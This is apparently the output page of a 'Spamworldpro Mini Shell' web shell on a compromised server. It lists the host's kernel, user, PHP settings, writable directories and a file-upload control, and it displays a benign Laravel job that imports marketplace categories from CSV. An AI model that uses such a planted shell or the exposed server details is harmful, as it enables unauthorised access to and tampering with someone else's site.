Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/Corals/modules/Marketplace/Jobs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/Corals/modules/Marketplace/Jobs/HandleCategoriesImportFile.php
<?php


namespace Corals\Modules\Marketplace\Jobs;


use Corals\Modules\Marketplace\Http\Requests\{CategoryRequest};
use Corals\Modules\Marketplace\Models\{Category};
use Corals\Modules\Marketplace\Services\{CategoryService};
use Corals\Modules\Marketplace\Traits\ImportTrait;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Database\Eloquent\Collection;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\{InteractsWithQueue, SerializesModels};
use Illuminate\Support\Str;
use League\Csv\{Exception as CSVException};

class HandleCategoriesImportFile implements ShouldQueue
{
    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels, ImportTrait;

    protected $importFilePath;

    /**
     * @var Collection
     */
    protected $categories;

    /**
     * @var array
     */
    protected $importHeaders;
    protected $user;
    protected $images_root;

    /**
     * HandleCategoriesImportFile constructor.
     * @param $importFilePath
     * @param $images_root
     * @param $user
     */
    public function __construct($importFilePath, $images_root, $user)
    {
        $this->user = $user;
        $this->importFilePath = $importFilePath;
        $this->images_root = $images_root;
        $this->importHeaders = array_keys(trans('Marketplace::import.category-headers'));
    }


    /**
     * @throws CSVException
     */
    public function handle()
    {
        $this->doImport();
    }

    /**
     * @param $record
     * @throws \Exception
     */
    protected function handleImportRecord($record)
    {
        $record = array_map('trim', $record);

        //prepare category data
        $categoryData = $this->getCategoryData($record);

        $categoryModel = $this->getCategoryModel($categoryData['name']);

        //validate record
        $this->validateRecord($categoryData, $categoryModel);

        $categoryRequest = new CategoryRequest();

        $categoryRequest->replace($categoryData);

        $categoryService = new CategoryService();

        if ($categoryModel) {
            $categoryModel = $categoryService->update($categoryRequest, $categoryModel);
        } else {
            $categoryModel = $categoryService->store($categoryRequest, Category::class);
            $this->categories->push($categoryModel);
        }

        $categoryImage = data_get($record, 'Image');

        if ($categoryImage) {
            $this->addMediaFromFile(
                $categoryModel,
                $categoryImage,
                $categoryModel->mediaCollectionName,
                "category_{$categoryModel ->id}");
        }
    }

    protected function getCategoryModel($name)
    {
        $categoryFound = $this->categories->where('name', $name)->first();

        if (!$categoryFound) {
            $categoryFound = $this->categories->where('slug', $name)->first();
        }

        return $categoryFound;
    }


    protected function loadMarketplaceCategories()
    {
        $this->categories = Category::query()->get();
    }

    /**
     * @param $record
     * @return array
     * @throws \Exception
     */
    protected function getCategoryData($record)
    {
        $parentId = $this->getParentCategory($record);

        $slug = data_get($record, 'Slug');

        if (!$slug) {
            $slug = Str::slug(data_get($record, 'Name'));
        }

        $featured = data_get($record, 'Featured') == 1;

        return array_filter([
            'name' => data_get($record, 'Name'),
            'status' => data_get($record, 'Status'),
            'slug' => $slug,
            'is_featured' => $featured,
            'parent_id' => $parentId,
        ]);
    }

    protected function initHandler()
    {
        $this->loadMarketplaceCategories();
    }

    protected function getValidationRules($data, $model): array
    {
        return [
            'status' => 'required|in:active,inactive',
            'name' => 'required|max:191|unique:marketplace_categories,name' . ($model ? (',' . $model->id) : ''),
            'slug' => 'required|max:191|unique:marketplace_categories,slug' . ($model ? (',' . $model->id) : ''),
        ];
    }

    /**
     * @param $record
     * @return |null
     * @throws \Exception
     */
    protected function getParentCategory($record)
    {
        $parentId = null;

        $parentName = data_get($record, 'Parent Category');

        if ($parentName) {
            $categoryFound = $this->getCategoryModel($parentName);

            if ($categoryFound) {
                $parentId = $categoryFound->id;
            } else {
                throw new \Exception("Category $parentName not found.");
            }
        }

        return $parentId;
    }
}

Spamworldpro Mini